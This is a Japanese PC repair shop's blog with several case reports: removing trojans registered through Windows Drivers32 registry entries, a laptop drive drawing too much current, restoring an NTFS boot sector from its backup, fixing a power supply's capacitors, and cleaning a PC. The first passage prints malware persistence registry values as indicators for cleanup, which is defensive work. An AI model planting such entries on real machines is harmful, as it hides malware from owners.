"vidc.iyuv"="iyuv_32.dll"
"vidc.mrle"="msrle32.dll"
"vidc.msvc"="msvidc32.dll"
"vidc.uyvy"="msyuv.dll"
"vidc.yuy2"="msyuv.dll"
"vidc.yvu9"="tsbyuv.dll"
"vidc.yvyu"="msyuv.dll"
"wavemapper"="msacm32.drv"
"msacm.msg723"="msg723.acm"
"vidc.M263"="msh263.drv"
"vidc.M261"="msh261.drv"
"msacm.msaudio1"="msaud32.acm"
"msacm.sl_anet"="sl_anet.acm"
"msacm.iac2"="C:\\WINDOWS\\system32\\iac25_32.ax"
"vidc.iv50"="ir50_32.dll"
"msacm.l3acm"="C:\\WINDOWS\\system32\\l3codeca.acm"
"wave"="wdmaud.drv"
"midi"="wdmaud.drv"
"mixer"="wdmaud.drv"
"aux"="wdmaud.drv"
"aux2"="C:\\WINDOWS\\system32\\..\\dnd.jap"
"midi9"="C:\\WINDOWS\\system32\\..\\fnajg.tmp 0yAAAAAAAA"

レジストリキーのエクスポートをすると、追加分は、おけつに表示されるようですので、ウイルスを見つけやすいです。

aux2とmidi9エントリーが怪しいのは、慣れているかたならすぐ見分けがつくと思います。それぞれのエントリを削除後、Windowsを起動し、以下のファイルを削除しました。

C:\WINDOWS\dnd.jap

C:\WINDOWS\fnajg.tmp

Adobe Readerのバージョンが7でしたので、最新の9.2へアップデート。Flashは、10でしたが、マイナーバージョンが多少低かったので、こちらも最新にして完了です。

検体をAVGにて確認してみたところ。

dnd.jap:トロイの木馬Agent.4.AK

fnajg.tmp:トロイの木馬Small.BQM

と検出しました。どんどん亜種が出ているようですので、対応する側も最新状況をWebでウォッチしないとなりません。

 

内容 費用
トラブル対応1時間 2,000円

 

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

トラブル対応事例、修理料金、金額、工賃など

2009年12月23日

ノートパソコンのハードディスクは、定格容量に注意

STOP: c000021a Unknown Hard Error

ソニーVAIO PCG-FX55S/BPが、Windows XPのロゴ表示後再起動くり返すとのこと。たまにOperating System not foundになることもあるそうです。OS not foundのときは、BIOS上ハードディスクを認識していませんでした。

Windows拡張オプションメニュー「システム障害時の自動的な再起動を無効にする」 にて起動すると、STOP: c000021a Unknown Hard Errorを表示しました。

ほぼハードディスクの不良と見て間違いありません。ところが、このハードディスクは、数ヶ月前竜王にある中古PCショップにて5万円も出して交換してもらったそうです。となると、ハードディスクが故障の可能性は低いです。念のため、MEMTEST86+にてメモリーのチャックをしましたが、エラー無し。ハードディスクの表面検査もBIOSが認識してれば、noエラーでした。

コネクタのゆるみか何かが原因かと、外してみたところ、多分これかなぁというのが分かりました。コネクタは、きちんと刺さってましたし、ピンが曲がったりということもありませんでした。

交換したハードディスクが、この機種には厳しいスペックだったのです。2005年以前のノートパソコンは大抵、2.5インチのパラレルATAタイプのハードディスクを使用しています。定格容量5v、0.5A~0.7Aくらいですが、交換したものは、5v 1AのHITACHI製HTS541210H9AT00 100GB 2007年5月製造のものでした(もしかして中古品?)。

多分電流容量不足で、Unknown Hard ErrorになったりBIOSでハードディスクが認識されずOperating System not foundになったりしたのでしょう。定格が1Aといっても常時これだけ流れるわけではありませんが、PCG-FX55S/BPのピーク電流やアベレージ電流がぎりぎりの設計だったのでしょう。

HDDをBIOSが認識しない   定格電流容量0.5アンペアなら安心
HDDをBIOSが認識しない。   定格電流容量0.5アンペアなら安心

 

内容 費用
2.5"ハードディスク80GB Seagete製 7,000円
パソコンリカバリー一式 15,000円

 

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

トラブル対応事例、修理料金、金額、工賃など

パソコン再インストール作業料金

2010年01月26日

Invalid partition tableにてWindows立ち上がらない

Invalid partition table電源オン、メーカロゴを表示後、「Invalid partition table」を表示して、Windows XPが起動しないとのこと。

MBR(Master Boot Record)のブートストラップローダというIPLブログラムが、「パーティション情報がおかしいよ」と言っているので、ハードディスクが物理的か論理的に破損していると思われます。

今回のケースは、論理的な破損で、無事Windowsが起動するようになった奇跡の生還事例です。

まず、MBRをセクタエディタを使い見てみます。(わたしは、Acronis Disk Director Suite付属のDisk Editorを使っています)

MBR

LBA=0(C=0/H=0/S=1)がMBRです。黒で反転表示した部分がブートストラップローダ部分です。WindowsXPのものです。

赤で囲まれた部分は、第1パーティションのテーブル情報です。先頭バイトが00ですので起動パーティションではありません。5バイト目が06ですので、FATパーティションということがわかります。後述しますが、第1パーティションは、DellのDiagnosticsです。

第2パーティションテーブル情報は、水色の80から始まる部分です。80ですので、ブートパーティションです。5バイト目の赤色が07なので、NTFSパーティションです。開始位置は、ピンク色をリトルエンディアンで読んで0000FB04です。10進数でLBA=64260セクター目となります。

最後のブートシグニチャ55AAもOKです。ということでMBR部分に問題はありませんので、Invalid partition tableになる原因が分かりません。

念のためブートパーティション(第2パーティション)のブートセクタも見てみます。先ほどの64260番目のセクターとなります。(C=4/H=0/S=1)

不良のNTFSパーティションのブートセクター

反転部分をよくみると先ほどのMBRのブートストラップローダと全く同じです。どうやら自力で修復しようとして誤って上書きしてしまったようです。

バックアップブートセクタを見てみました。パーティション2の最終セクタに保存されていますので、MBRのパーティションテーブルから計算します。ピンク(開始セクタ)+黄色(総セクタ)-1=0000FB04+0DF741B9-1=64260+234308025-1=234372284セクター(C=14588/H=254/S=63)となります。

バックアップブートセクタ

幸いにもバックアップブートセクタが生きていましたので、セクタコピーし、パーティション2のブートセクターに上書きしたところ、無事Windowsが起動しました。と言いたいところですが、Security toolに感染していて、立ち上がりませんでした。駆除後正常起動しました。

下の画像は、パーティション情報を別の視点で見たものです。testdiskという壊れたパーティションテーブルを解析して復活することができるツールです。第1パーティションがDellUtilityというボリューム名であることが分かります。

 

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

トラブル対応事例、修理料金、金額、工賃など

2010年02月02日

NEC VALUSTAR VL700/6電源入らない

NEC VALUESTAR VL700/6D(2003年5月販売)デスクトップパソコンが、2009年冬頃からたまに電源が入らないことがあり、今年1月ついに電源ボタンを押してもうんともすんともいわなくなってしまいました。既に新しいパソコンに移行済みで、実害はなかったのですが、お子さんにあげたいので修理してほしいとのこと。

AcBel製、API2PC05電源ユニット
AcBel製、API2PC05電源ユニット

パンクしたコンデンサ

中央と左上の2個がパンクしています

保守用の電源と交換したところ、問題なく起動しましたので、電源ユニットの故障です。AcBel製、型番API2PC05、電源容量150w、NEC型番PU786B、NEC P/N 853-610090-001-Aとなっています。オークションで中古を調べると、P/N 853-610090-003-Aなどが売られていますので、改良前のrevisionと思われます。

電源単体でオンしてみると、5v、12v、3.3v、-12vとも正常に出力しています。ただし、5vスタンバイの電圧が少々低く、4.8v程しかありませんでした。

中を分解して目視チェックすると、2個ほどコンデンサ(1000μF 6.3v)が膨れていました。

交換して、電源を入れてみましたが、5vスタンバイは、4.8vのままでした。マザーボードに接続して、電源オンするも、駄目です。

再度電源ユニットを分解して、+5vスタンバイの配線を追っていき、1000μF 6.3vのコンデンサにたどり着きましたので、外してみると、根本から電解液が漏れだしていました。

コンデンサを交換したところ、電源も入り、8時間エージング運転も問題ありませんでした。

目視だけでは、コンデンサの不良を探せられなかった事例です。

内容 費用 備考
部品代 1,000円 購入送料込み
工賃 8,000円  
合計 9,000円  

 

取り外したコンデンサ
取り外したコンデンサ
基盤面
基盤面
コンデンサ交換後
交換後
5vスタンバイ電源のコンデンサ
5vスタンバイ電源のコンデンサ
5vスタンバイ電源のコンデンサ
5vスタンバイ電源のコンデンサ
 

 

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

トラブル対応事例、修理料金、金額、工賃など

2010年03月21日

パソコンの掃除方法

ディスクトップパソコンの掃除方法を良く聞かれますので、説明したいと思います。

日常の手入れは、空気の吸い込み口を掃除機で吸ってあげる程度でいいと思います。キーボードは、ブラシ付きの掃除機でキーの隙間のゴミを吸ってあげて、キートップをウェットティッシュなどで拭きます。光学式マウスは、全体をウェットティッシュなどで拭いた後、受発光部をエアダスターで清掃します。ボール式マウスは、ボール部分を分解して、内部のローラに付いたゴミを爪楊枝や綿棒で清掃し、ボールをホコリのでないウェットティッシュで黒くならないまで拭くか、中性洗剤で洗ってよく乾かします。マウスパッドも汚れを拭き取っておきます。

たまにパソコン本体の中身を掃除したほうがいいでしょう。周期のほうは環境によるので何ともいえませんが、年1回~2年に1回くらいのペースでしょうか。

まずコネクター類を全て外します。USBやPS/2は、同じ形状のコネクタが2つ以上ある場合がありますので、札(タグ)などを付けて、差す位置が分かるようにしておきます。本体を取り出したら、側面のパネルをスライドさせて開けます。機種によって簡単なものから複雑なものまでありますので、どうしても開けられず断念してしまうかたもいらっしゃいます。ネットなどで”(機種型番) 分解”などのキーワードで検索すると、画像付きの説明ページがあったりしますので、参考にしてみて下さい。

側面パネルを開けた後は、屋外に持っていきます。掃除機、エアダスター、リストストラップ、アース線を用意します。

まともな工事なら、向かって左側の端子がアースです。

パソコン本体をアース線で接地し、リストストラップをつけて掃除機で吸いながら、エアダスターで、ホコリを飛ばします。CPUのヒートシンクは入念にホコリを除去します。

掃除機は、静電気の塊のような機械ですので、基盤に接触させないよう注意して下さい。写真のように先端部分をアルミ箔で包んでリストストラップで接地した手で握ってあげれば、かなり影響が少ないですが、接地しないで使うと、最悪LSIを壊してしまいます。普通に使えたとしても、LSIの素子にダメージを与えることになりますので、寿命が短くなってしまいます。

クリーニング準備完了 クリーニング中

 

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

トラブル対応事例、修理料金、金額、工賃など

検索


Feed

Really Simple Syndication 2.0 The Atom Syndication Format Really Simple Discoverability